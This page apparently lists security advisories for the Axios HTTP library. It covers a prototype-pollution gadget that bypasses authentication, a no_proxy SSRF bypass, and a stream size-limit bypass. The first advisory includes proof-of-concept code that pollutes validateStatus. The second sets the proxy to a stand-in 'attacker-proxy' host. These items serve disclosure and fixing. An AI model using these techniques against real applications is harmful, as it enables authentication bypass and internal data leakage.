limitations | | TBD | Report submitted to vendor via GitHub Security Advisory |

8 rules

Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling. The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success. Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js CWE CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') CWE-287: Improper Authentication CVSS 3.1 Score: 8.2 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely | | Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact within the application | | Confidentiality | Low | 401 treated as success may expose data behind auth gates | | Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions | | Availability | None | The function works correctly (returns true), no crash | Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties. Why validateStatus Is Uniquely Vulnerable All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator: ``javascript // mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus) function mergeDirectKeys(a, b, prop) { if (prop in config2) { // ← in traverses prototype chain! return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } } // mergeConfig.js:94 const mergeMap = { // ... all others use defaultToConfig2 ... validateStatus: mergeDirectKeys, // ← ONLY property using this strategy }; ` The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct. Proof of Concept 1. The Setup (Simulated Pollution) `javascript Object.prototype.validateStatus = () => true; ` 2. The Gadget Trigger (Safe Code) `javascript // Application checks authentication via HTTP status codes try { const response = await axios.get('https://api.internal/admin/users'); // Developer expects: 401 → catch block → redirect to login // Reality: 401 → treated as success → displays admin data processAdminData(response.data); // Executes with 401 response body! } catch (error) { redirectToLogin(); // NEVER REACHED for 401/403/500 } ` 3. The Execution `javascript // mergeConfig.js:58 — 'validateStatus' in config2 // config2 = { url: '/admin/users', method: 'get' } // 'validateStatus' in config2 → checks prototype → finds () => true → TRUE // → getMergedValue(defaultValidator, () => true) → returns () => true // settle.js:16 — ALL status codes resolve const validateStatus = response.config.validateStatus; // () => true if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); // 401, 403, 500 all resolve here! } ` 4. The Impact ` Before pollution: HTTP 200 → resolve (success) HTTP 401 → reject (auth error) → redirectToLogin() HTTP 403 → reject (forbidden) → showAccessDenied() HTTP 500 → reject (server error) → showErrorPage() After pollution: HTTP 200 → resolve (success) HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body HTTP 403 → resolve (SUCCESS!) → application thinks user has access HTTP 500 → resolve (SUCCESS!) → application processes error as data ` Verified PoC Output ` --- Before Pollution --- 401: REJECTED as expected - Request failed with status code 401 500: REJECTED as expected - Request failed with status code 500 --- After Pollution --- 200: RESOLVED as success (status: 200) 301: RESOLVED as success (status: 301) 401: RESOLVED as success (status: 401) 403: RESOLVED as success (status: 403) 404: RESOLVED as success (status: 404) 500: RESOLVED as success (status: 500) 503: RESOLVED as success (status: 503) --- Authentication Bypass Demo --- Auth check bypassed! 401 treated as success. Application proceeds with: { status: 401, message: 'Response with status 401' } ` Impact Analysis Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources. Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors. Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed. Universal Scope: Affects every axios instance in the application, including third-party libraries. Recommended Fix Replace the in operator with hasOwnProperty in mergeDirectKeys: `javascript // FIXED: lib/core/mergeConfig.js function mergeDirectKeys(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop)) { return getMergedValue(a, b); } else if (Object.prototype.hasOwnProperty.call(config1, prop)) { return getMergedValue(undefined, a); } } ` Resources CWE-1321: Prototype Pollution CWE-287: Improper Authentication GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios MDN: in` operator Axios GitHub Repository Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | PoC developed and vulnerability confirmed | | 2026-04-16 | Report revised for accuracy | | TBD | Report submitted to vendor via GitHub Security Advisory |

OWASP A03OWASP A07LLM01 · Prompt InjectionOWASP Web
Get guardrail →
8 rules

Axios: no_proxy bypass via IP alias allows SSRF

The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result: no_proxy=localhost does NOT block 127.0.0.1 or [::1] no_proxy=127.0.0.1 does NOT block localhost or [::1] POC : process.env.no_proxy = 'localhost'; process.env.http_proxy = 'http://attacker-proxy:8888'; ``(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >.... process.env.http_proxy = 'http://127.0.0.1:8888'; console.log('=== Test 1: localhost (should bypass proxy) ==='); try { await axios.get('http://localhost:7777/'); } catch(e) { console.log('Error:', e.message); } console.log(''); console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ==='); try { await axios.get('http://127.0.0.1:7777/'); } catch(e) { console.log('Error:', e.message); } fakeProxy.close(); internalServer.close(); }); }); EOF === Test 1: localhost (should bypass proxy) === ✅ Internal server hit directly (correct) === Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) === 🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/ 🚨 Host header: 127.0.0.1:7777. `` <img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" /> Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data. Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.

OWASP A10LLM02 · Insecure OutputOWASP Web
Get guardrail →
8 rules

Axios: HTTP adapter streamed responses bypass maxContentLength

Summary When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption. Details In lib/adapters/http.js: 786-789: for responseType === 'stream', Axios immediately settles with the stream. 797-810: maxContentLength enforcement exists only in the non-stream buffering branch. So callers may set maxContentLength and still receive/read arbitrarily large streamed responses. PoC Environment: Axios main at commit f7a4ee2 Node v24.2.0 Steps: 1. Start an HTTP server that returns a 2 MiB response body. 2. Call Axios with: adapter: 'http' responseType: 'stream' maxContentLength: 1024 3. Read the returned stream fully. Observed: Success; full 2097152 bytes readable. Control check: Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded. Impact Type: DoS / unbounded response processing. Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.

Showing 1–20 of 37 threats